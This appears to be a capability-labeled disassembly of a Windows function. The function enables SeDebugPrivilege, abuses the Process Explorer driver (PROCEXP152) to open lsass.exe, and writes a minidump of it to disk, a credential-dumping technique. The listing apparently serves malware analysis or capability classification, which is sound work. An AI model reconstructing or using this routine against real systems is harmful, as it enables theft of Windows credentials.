Function at 0x140001070
Capabilities:
Acquire debug privileges
Create process memory minidump
Enumerate processes on remote desktop session host

Disassembly:
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp - 8], rax
xor r14d, r14d
mov qword [rbp - 0x30], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x30]
lea edx, [r14 + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400010ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken___failed_with_0x_x_n
call fcn.140001010
lea eax, [r14 - 1]
jmp 0x1400012a1
mov qword [rsp + 0x80], rbx
lea r8, [rbp - 0x20]
mov rbx, qword [rbp - 0x30]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140001103
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LookupPrivilegeValue___failed_with_0x_x_n
call fcn.140001010
jmp 0x14000116b
mov rax, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov qword [rsp + 0x28], r14
mov r9d, 0x10
xor edx, edx
mov qword [rbp - 0x14], rax
mov rcx, rbx
mov dword [rbp - 0x18], 1
mov dword [rbp - 0xc], 2
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001152
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges___failed_with_0x_x_n
call fcn.140001010
jmp 0x14000116b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x140001181
lea rcx, str.____The_token_does_not_have_the_specified_privilege._n
call fcn.140001010
lea rcx, str.____Cannot_enable_SeDebugPrivilege_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001299
mov rcx, qword [rbp - 0x30]
mov qword [rsp + 0x88], rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r14
lea rcx, str..PROCEXP152
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011d7
lea rcx, str.____CreateFileA_failed._n
call fcn.140001010
jmp 0x1400011dc
test rsi, rsi
jne 0x1400011f2
lea rcx, str.____Cannot_open_an_handle_to_driver._n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001291
xor edx, edx
mov qword [rsp + 0x90], rdi
lea rax, [rbp - 0x28]
mov dword [rbp - 0x28], r14d
lea r9, [rbp - 0x20]
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateProcessesA]
test eax, eax
jne 0x14000122b
lea rcx, str.____WTSEnumerateProcessA_failed._n
call fcn.140001010
jmp 0x14000126f
mov ebx, r14d
cmp dword [rbp - 0x28], ebx
jbe 0x140001265
mov rdi, r14
nop word [rax + rax]
mov rdx, qword [rbp - 0x20]
lea rcx, str.lsass.exe
mov rdx, qword [rdi + rdx + 8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400012bb
inc ebx
add rdi, 0x18
cmp ebx, dword [rbp - 0x28]
jb 0x140001240
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
lea rcx, str.____Cannot_find_lsass.exe_process_ID._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001410
mov r14, qword [rsp + 0x98]
add rsp, 0x70
pop rbp
ret
movsxd rax, ebx
lea rcx, [rax + rax*2]
mov rax, qword [rbp - 0x20]
movsxd rdi, dword [rax + rcx*8 + 4]
lea rcx, str.___Process_found_at_PID__d_n
mov edx, edi
call fcn.140001010
cmp edi, 0xffffffff
je 0x14000126f
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x18]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], 8
mov r9d, 8
mov qword [rsp + 0x20], rax
mov edx, 0x8335003c
mov qword [rbp - 0x18], rdi
mov rcx, rsi
mov qword [rbp - 0x20], r14
mov dword [rbp - 0x28], r14d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp dword [rbp - 0x28], r14d
je 0x1400013f0
test eax, eax
je 0x1400013f0
mov rbx, qword [rbp - 0x20]
test rbx, rbx
je 0x1400013f0
mov qword [rsp + 0x30], r14
lea rcx, str.C:_Users_Administrator_Desktop_dump.bin
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000137c
lea rdi, str.____CreateFile___failed_with_0x_x_n
jmp 0x1400013aa
mov qword [rsp + 0x30], r14
mov r9d, 2
mov qword [rsp + 0x28], r14
mov r8, rax
mov edx, edi
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x1400013d7
lea rdi, str.____MiniDumpWriteDump_failed_with_0x_x_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140001010
lea rcx, str.____Cannot_dump_lsass.exe._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
jmp 0x14000127e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001289
lea rcx, str.____DeviceIoControl_failed._n
jmp 0x140001276